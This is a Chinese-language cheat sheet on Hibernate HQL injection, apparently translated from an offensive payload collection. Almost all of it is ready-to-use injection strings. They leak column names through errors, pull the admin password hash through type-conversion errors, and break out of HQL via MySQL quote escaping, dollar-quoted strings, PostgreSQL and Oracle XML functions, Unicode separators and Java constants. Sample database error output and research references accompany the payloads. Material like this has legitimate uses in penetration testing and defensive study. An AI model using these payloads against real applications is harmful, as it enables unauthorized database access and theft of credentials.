作者 | 修订时间 |
---|---|
2023-07-05 21:37:29 |
Hibernate ORM(简称 Hibernate)是 Java 编程语言的对象关系映射工具。它提供了一个将面向对象的域模型映射到关系数据库的框架维基百科
HQL 评论
HQL does not support comments
HQL 列表列
from BlogPosts
where title like '%'
and DOESNT_EXIST=1 and ''='%' --
and published = true
使用一个不存在的列将导致一个异常,泄漏多个列名。
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
基于 HQL 错误
from BlogPosts
where title like '%11'
and (select password from User where username='admin')=1
or ''='%'
and published = true
基于值强制转换的错误。
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
:warning:
单引号转义
方法适用于 MySQL DBMS,该 DBMS 使用 SLASH 转义字符串中的 SINGLE QUOTES \'
。
在 HQL 中,SINGLE QUOTES 通过加倍 ''
以字符串形式转义。
'abc\''or 1=(select 1)--'
在 HQL 中它是一个字符串,在 MySQL 中它是字符串和附加的 SQL 表达式。
$ 带引号的字符串
方法适用于允许在 SQL 表达式中使用 DOLLAR-QUOTED 字符串的 DBMS:PostgreSQL,H2。
Hibernate ORM 允许标识符以 $$
开头。
$$='$$=concat(chr(61),chr(39)) and 1=1--'
DBMS 魔术函数
方法适用于具有 MAGIC FUNCTIONS 的 DBMS,该函数用于计算字符串参数中的 SQL 表达式:PostgreSQL、Oracle。
Hibernate 允许在 HQL 表达式中指定任何函数名称。
PostgreSQL 内置函数 query_to_xml('Arbitrary SQL')
。
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
Oracle 具有内置功能 DBMS_XMLGEN.getxml('SQL')
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
统一码
方法适用于允许 SQL 令牌之间使用 UNICODE 分隔符(例如 U+00A0)的 DBMS:Microsoft SQL Server,H2。
在 Microsoft SQL SERVER 中, SELECT LEN([U+00A0](select[U+00A0](1))
的工作原理与相同;
HQL 允许在标识符(函数或参数名称)中使用 UNICODE 符号。
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
Java 常量
方法适用于大多数 DBMS(不适用于 MySQL)。
Hibernate 解析 HQL 查询中的 Java 公共静态字段(Java 常量):
- 具有 Java 常量的类必须在类路径中
- 例如,
java.lang.Character.SIZE
被解析为 16 - 字符串或字符常量另外用单引号括起来
要使用 JAVA 常量方法,我们需要在类路径上的类或接口中声明特殊的字符或字符串字段。
public class Constants {
public static final String S_QUOTE = "'";
public static final String HQL_PART = "select * from Post where name = '";
public static final char C_QUOTE_1 = '\'';
public static final char C_QUOTE_2 = '\047';
public static final char C_QUOTE_3 = 39;
public static final char C_QUOTE_4 = 0x27;
public static final char C_QUOTE_5 = 047;
}
众所周知的 Java 库中的一些可用常量:
org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
DBMS 的方法
参考文献
- 五酯的 HQL-2014 年 2 月 12 日-Philippe Arteau
- 如何将注释放入 HQL(休眠查询语言)?-托马斯 · 布拉特
- HQL:超疯狂的查询语言-2015 年 6 月 4 日-Renaud Dubourguais
- ORM2Pown:利用 Hibernate ORM 中的注入-2015 年 11 月 26 日-Mikhail Egorov
- Java 应用程序中利用 ORM 注入的新方法-HITBSecConf2016-Mikhail Egorov-Sergey Soldatov
- HQL 在 MySQL 中的注入开发-2019 年 7 月 18 日-Olga Barinova